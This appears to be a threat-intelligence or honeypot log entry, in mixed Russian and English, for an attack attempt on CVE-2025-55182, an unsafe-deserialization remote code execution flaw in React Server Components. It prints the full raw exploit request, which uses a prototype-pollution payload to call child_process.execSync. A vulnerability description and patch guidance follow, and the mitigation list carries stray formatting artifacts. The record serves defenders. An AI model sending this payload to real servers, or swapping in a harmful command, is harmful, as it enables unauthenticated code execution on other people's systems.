Информация об атаке

Tag
 
CVE-2025-55182
Date
 
2026-03-12
Client IP
 
85.11.167.19
Client GEO
 
bulgaria
Vendor
 
Meta
Product
 
React
RAW request
 
POST / HTTP/1.0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/█████████ Safari/537.36
Host: ████████████
Content-Type: multipart/form-data; boundary=792c277d3191657e340b064422ba444fedb3508c377c67566790adad1f85
Content-Length: 643
X-Forwarded-For: ████████████
Accept: text/x-component
Accept-Language: en-US,en;q=0.9
Next-Action: x
Origin: https://████████████
Referer: https://████████████
Accept-Encoding: gzip
Connection: close

--792c277d3191657e340b064422ba444fedb3508c377c67566790adad1f85
Content-Disposition: form-data; name="0"

{"_response":{"_formData":{"get":"$1:constructor:constructor"},"_prefix":"var res=process.mainModule.require('child_process').execSync('echo TEST_1773311211',{'timeout':30000}).toString();throw Object.assign(new Error('NEXT_REDIRECT'),{digest:`${res}`});"},"reason":-1,"status":"resolved_model","then":"$1:__proto__:then","value":"{\"then\": \"$B0\"}"}
--792c277d3191657e340b064422ba444fedb3508c377c67566790adad1f85
Content-Disposition: form-data; name="1"

"$@0"
--792c277d3191657e340b064422ba444fedb3508c377c67566790adad1f85--
Description
 
CVE-2025-55182 affects react-server-dom-webpack, react-server-dom-parcel and react-server-dom-turbopack versions 19.0.0, 19.1.0, 19.1.1 and 19.2.0. :contentReference


The root cause is unsafe deserialization in the RSC “Flight” protocol: when the server receives a specially crafted payload via HTTP request to a Server Function endpoint, the payload is deserialized without proper validation. This can lead to prototype-pollution, or injection of malicious objects, which allows execution of arbitrary JS code — effectively an RCE. 


The attack requires no authentication, has low complexity, and can be triggered via a single HTTP request. 


Because many popular frameworks (e.g. Next.js, React Router, Waku, Parcel/Vite RSC plugins, rwsdk) rely on the vulnerable packages, a large portion of web-apps are at risk.


The vulnerability was publicly disclosed on December 3, 2025, and patches released shortly after.
Mitigations
 
    

  1. Upgrade React-server-dom packages: Immediately update affected packages to patched versions (for example react-server-dom-webpack/par­cel/turbopack → 19.0.1, 19.1.2 или 19.2.1).
    2. 

  2. Audit dependencies: Проверьте, не включены ли в проект фреймворки или сборщики, использующие RSC (например Next.js, React Router, Waku, @parcel/rsc, @vitejs/plugin-rsc, rwsdk), и обновите их до безопасных версий. :contentReference
    3. 

  3. Disable or restrict RSC endpoints: Если возможно — временно отключите серверные функции React (Server Functions) или ограничьте доступ к ним через firewall / WAF / настройку сети. :contentReference
    4. 

  4. Runtime protection: Используйте WAF, EASM/ASM, мониторинг поведения, IDS/IPS, чтобы обнаруживать подозрительные запросы и пост-эксплуатационную активность. :contentReference
    5. 

  5. Code review / validation: Пересмотрите обработку входящих данных, избегайте десериализации непроверенных объектов, особенно если приложение принимает пользовательские payload’ы. (Может потребоваться дополнительная проверка/валидация deserialized data.)
    6.
Links
https://react.dev/blog/2025/12/03/critical-security-vulnerability-in-react-server-components